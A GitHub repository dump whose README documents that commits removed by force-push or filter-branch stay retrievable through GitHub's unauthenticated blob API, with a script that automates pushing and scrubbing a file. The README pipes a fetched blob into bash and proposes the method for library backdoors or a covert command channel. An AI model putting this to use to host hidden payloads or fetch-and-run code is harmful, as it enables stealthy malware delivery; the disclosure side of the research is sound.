├── README.md └── auto-boblobblob.sh /README.md: -------------------------------------------------------------------------------- 1 | # boblobblob - Hiding git blobs in plain sight 2 | This project demonstrates some experimentation with how GitHub handles git blobs, inspired by research done by [Kevin Hodges](https://github.com/khodges42/ghostfacekilla). 3 | 4 | It will serve both as a repository that will document my experiments, and conclusions drawn from this research. 5 | 6 | ## Creating our intially hidden file 7 | First, we will create a file we want to hide: 8 | 9 | ```bash 10 | # cat hiddenfile.sh 11 | echo "secret malicious code has been executed" 12 | # git add hiddenfile.sh 13 | ``` 14 | 15 | Next, we'll grab the sha sum for this file, and take note of it: 16 | ```bash 17 | # git hash-object hiddenfile.sh 18 | 44531211b7c63aab97c174d98d79e99b1086f145 19 | ``` 20 | 21 | Finally, we'll commit this file, and push it: 22 | 23 | ```bash 24 | # git commit "added hidden file" 25 | git commit -m "added hidden file" 26 | [master ce50e8a] added hidden file 27 | 1 file changed, 1 insertion(+) 28 | create mode 100644 hiddenfile.sh 29 | # git push 30 | Counting objects: 4, done. 31 | Delta compression using up to 12 threads. 32 | Compressing objects: 100% (2/2), done. 33 | Writing objects: 100% (3/3), 326 bytes | 0 bytes/s, done. 34 | Total 3 (delta 0), reused 0 (delta 0) 35 | To git@github.com:Und3rf10w/boblobblob.git 36 | a27e6e3..ce50e8a master -> master 37 | ``` 38 | 39 | At this point a tree for this push has been created and [can be found here](https://github.com/Und3rf10w/boblobblob/tree/ce50e8a618900b0c897c3d77d3b5872bb4361db8). 40 | 41 | There are many instances where it may be benefical to revert a commit that has been accidently pushed to GitHub, such as accidently commiting secrets, justifying the need for the ability to revert them. Let's revert the commit where we added `hiddenfile.sh` through `git`, by going back to the commit before it to remove it, and force pushing the revert: 42 | 43 | ```bash 44 | # git reset --hard a27e6e38d63dacf9bb828a01abbbb41dee0cdb76 45 | HEAD is now at a27e6e3 Filled README.md 46 | # git push -f origin master 47 | Total 0 (delta 0), reused 0 (delta 0) 48 | To git@github.com:Und3rf10w/boblobblob.git 49 | + 7e66cf5...a27e6e3 master -> master (forced update) 50 | ``` 51 | 52 | ## Accessing `hiddenfile.sh` 53 | 54 | Now, if we look at the GitHub interface, aside from this document, there's no indication that our tree ever existed, however, if you know the commit's hash, [you can still browse to it](https://github.com/Und3rf10w/boblobblob/tree/ce50e8a618900b0c897c3d77d3b5872bb4361db8), as well as [access the file we attempted to redact](https://github.com/Und3rf10w/boblobblob/blob/ce50e8a618900b0c897c3d77d3b5872bb4361db8/hiddenfile.sh). 55 | 56 | Essentially, to anyone simply browsing this repository, assuming no previous external links existed, there would not be any indication that `hiddenfile.sh` ever actually existed, even though it's stil technically accessible. 57 | 58 | If we still have this blob located in our `.git` directory (which would only ever happen if you had a copy of the repository between the time that `hiddenfile.sh` was commited and redacted), then [as show in Kevin's project](https://github.com/khodges42/ghostfacekilla/blob/44a1f29de1f14d06d5876d10723d993ec6bd1fbb/src/sneaky_gfk.sh#L6), we can access this locally with `git cat-file` simply by knowing `hiddenfile.sh`'s sha sum: 59 | 60 | ```bash 61 | # git cat-file -p 44531211b7c63aab97c174d98d79e99b1086f145 62 | echo "secret malicious code has been executed" 63 | # git cat-file -p 44531211b7c63aab97c174d98d79e99b1086f145 | bash 64 | secret malicious code has been executed 65 | ``` 66 | 67 | That works fine for anyone that still has `hiddenfile.sh` in their working directory, but what if we instead wanted to use GitHub to serve our malicious file? 68 | 69 | ## Using the Git Blobs api 70 | GitHub provides a [Git Blobs](https://developer.github.com/v3/git/blobs/) api that allows us to interact with git blobs with no authentication. The HTTP request for this uses the following format for the host `api.github.com`: 71 | 72 | `GET /repos/:owner/:repo/git/blobs/:file_sha` 73 | 74 | Let's try to grab the file through the api: 75 | 76 | ``` bash 77 | # curl --silent -H "Content-Type: application/json" -H "Accept: application/vnd.github.v3.raw" https://api.github.com/repos/Und3rf10w/boblobblob/git/blobs/44531211b7c63aab97c174d98d79e99b1086f145 78 | echo "secret malicious code has been executed" 79 | # !! | bash 80 | secret malicious code has been executed 81 | ``` 82 | 83 | This demonstrates one method to store and serve a file you wish to remain hidden through GitHub's handling of git blobs. 84 | 85 | # Testing the offical way to redact commits 86 | The method we used above is actually an [extremely popular answer on Stack Overflow](https://stackoverflow.com/a/1338744), but not the [offically documented method](https://help.github.com/articles/removing-sensitive-data-from-a-repository/) to remove sensitive data from a repository. 87 | 88 | Let's create a new file, commit it and test to see if we can still do this after following the instructions provided by the offical documentation. 89 | 90 | ```bash 91 | # cat ohnoesnotmypassword 92 | ayyyyyylmaowtfbbq 93 | # git add ohnoesnotmypassword 94 | # git commit -m "added my password" 95 | [master e24a8e6] added my password 96 | 1 file changed, 1 insertion(+) 97 | create mode 100644 ohnoesnotmypassword 98 | # git push 99 | Counting objects: 4, done. 100 | Delta compression using up to 12 threads. 101 | Compressing objects: 100% (2/2), done. 102 | Writing objects: 100% (3/3), 305 bytes | 0 bytes/s, done. 103 | Total 3 (delta 0), reused 0 (delta 0) 104 | To git@github.com:Und3rf10w/boblobblob.git 105 | 09b64c0..e24a8e6 master -> master 106 | ``` 107 | 108 | This creates [a tree](https://github.com/Und3rf10w/boblobblob/tree/e24a8e6af0cad36c9d83b0d27f33159a217a927c). Before we delete it, we must first note the sha sum of our file `ohnoesnotmypassword` that we want to access later. 109 | 110 | ```bash 111 | # git hash-object ohnoesnotmypassword 112 | 8f42259c73edc4b9ad98089cc6b9639de6fcb9c4 113 | ``` 114 | 115 | Now, following the instructions provided by GitHub, if we want to revoke this commit, we must use `git filter-branch` to remove the file: 116 | 117 | ```bash 118 | # git filter-branch --force --index-filter 'git rm --cached --ignore-unmatch ./ohnoesnotmypassword' --prune-empty --tag-name-filter cat -- --all 119 | Rewrite e24a8e6af0cad36c9d83b0d27f33159a217a927c (5/5)rm 'ohnoesnotmypassword' 120 | 121 | Ref 'refs/heads/master' was rewritten 122 | Ref 'refs/remotes/origin/master' was rewritten 123 | WARNING: Ref 'refs/remotes/origin/master' is unchanged 124 | ``` 125 | 126 | Finally, we force push this: 127 | 128 | ```bash 129 | # git push origin --force --all 130 | git push origin --force --all 131 | Counting objects: 13, done. 132 | Delta compression using up to 12 threads. 133 | Compressing objects: 100% (6/6), done. 134 | Writing objects: 100% (11/11), 1.00 KiB | 0 bytes/s, done. 135 | Total 11 (delta 2), reused 2 (delta 0) 136 | remote: Resolving deltas: 100% (2/2), completed with 1 local object. 137 | To git@github.com:Und3rf10w/boblobblob.git 138 | + e24a8e6...8df8865 master -> master (forced update) 139 | ``` 140 | 141 | We've followed the offically suggested way to remove this commit, and again, the GitHub interface shows no indication that the commit of `ohnoesnotmypassword` ever happened. Note that we intentionally haven't yet attempted to `reflog` the repository yet. 142 | 143 | ## Attempting to access `ohnoesnotmypassword` before reflog 144 | First, we'll try to access it locally using `git`: 145 | 146 | ```bash 147 | # git cat-file -p 8f42259c73edc4b9ad98089cc6b9639de6fcb9c4 148 | ayyyyyylmaowtfbbq 149 | ``` 150 | 151 | As before, this file is still stored within our local `.git` working directory. Next, let's attempt to access it through the GitHub api: 152 | 153 | ```bash 154 | # curl --silent -H "Content-Type: application/json" -H "Accept: application/vnd.github.v3.raw" https://api.github.com/repos/Und3rf10w/boblobblob/git/blobs/8f42259c73edc4b9ad98089cc6b9639de6fcb9c4 155 | ayyyyyylmaowtfbbq 156 | ``` 157 | 158 | It looks like we can still access the file, and if we browse to [our tree](https://github.com/Und3rf10w/boblobblob/tree/e24a8e6af0cad36c9d83b0d27f33159a217a927c), we can still access this repository, including `ohnoesnotmypassword`. 159 | 160 | ### Trying the reflog 161 | We purposly skipped the last step that claims to `force all objects in your local repository to be dereferenced and garbage collected`, so let's see how it affects our tests. 162 | 163 | ```bash 164 | # git for-each-ref --format='delete %(refname)' refs/original | git update-ref --stdin 165 | # git reflog expire --expire=now --all 166 | # git gc --prune=now 167 | Counting objects: 12, done. 168 | Delta compression using up to 12 threads. 169 | Compressing objects: 100% (7/7), done. 170 | Writing objects: 100% (12/12), done. 171 | Total 12 (delta 2), reused 2 (delta 0) 172 | ``` 173 | 174 | Now let's try to access it locally: 175 | ```bash 176 | # git cat-file -p 8f42259c73edc4b9ad98089cc6b9639de6fcb9c4 177 | fatal: Not a valid object name 8f42259c73edc4b9ad98089cc6b9639de6fcb9c4 178 | ``` 179 | 180 | As expected, the file is scrubbed from our local `.git` working directory. However, can we still access it through GitHub? 181 | 182 | ```bash 183 | # curl --silent -H "Content-Type: application/json" -H "Accept: application/vnd.github.v3.raw" https://api.github.com/repos/Und3rf10w/boblobblob/git/blobs/8f42259c73edc4b9ad98089cc6b9639de6fcb9c4 184 | ayyyyyylmaowtfbbq 185 | ``` 186 | 187 | # Implications 188 | The most commonly suggested way of redacting sensitive information from GitHub isn't effective in ACTUALLY redacting information. While one could make the argument that an attacker would have to know the sha sum of the git blob they want to access, and thus already have knowledge of the contents of the file, a valid counter argument could be made that as long as the attacker knows of the sha sum for any tree containing the info that was pushed to `GitHub`, they'd still be able to retrieve it. 189 | 190 | In addition, the implications of storing data on GitHub and being able to retrieve it with no authentication, and be difficult to discover are interesting as well. Perhaps this could be an interesting way to execute backdoor code for a malicious libary, or become a stealthy c2 channel. 191 | 192 | ## auto-boblobblob.sh 193 | In order to automate testing off this, I've created a script `auto-boblobblob.sh` that automates the pushing and revoking of a file, and returns its commit hash and file hash. Usage is simple: 194 | 195 | `USAGE: auto-boblobblob.sh "$/path/to/file/to/hide"` 196 | 197 | Drop this script into the root of a repository you wish to hide a file in, provide it the path to the file you wish to hide (that's within the repository), and execute it. It will return the hashes you need to access the blob directly, as well as the commit generated and removed by the script to upload the file. 198 | -------------------------------------------------------------------------------- /auto-boblobblob.sh: -------------------------------------------------------------------------------- 1 | if [ $# -lt 1 ]; then 2 | echo 'USAGE: auto-boblobblob.sh "$/path/to/file/to/hide"' 3 | exit 0 4 | fi 5 | 6 | HIDDENFILE="$1" 7 | 8 | if [ -e $HIDDENFILE ]; then 9 | # grab the file and commit hash, and push it 10 | git add $HIDDENFILE 11 | HIDDENFILEHASH=`git hash-object $HIDDENFILE` 12 | git commit -m "added" 13 | TREEHASH=`git rev-parse HEAD` 14 | echo -e "\n[*] Pushing commit.\n" 15 | git push 16 | 17 | # Revoke the file 18 | echo -e "\n[*] Removing commit.\n" 19 | git filter-branch --force --index-filter "git rm --cached --ignore-unmatch $HIDDENFILE" --prune-empty --tag-name-filter cat -- --all 20 | git push origin --force --all 21 | git for-each-ref --format='delete %(refname)' refs/original | git update-ref --stdin 22 | git reflog expire --expire=now --all 23 | git gc --prune=now 24 | 25 | echo "The file is now revoked from GitHub and your .git working directory" 26 | echo -e "\n\n[*] File hash: $HIDDENFILEHASH\n[*] Tree hash: $TREEHASH" 27 | exit 0 28 | else 29 | echo "An error occured" 30 | exit 1 31 | fi 32 | 33 | --------------------------------------------------------------------------------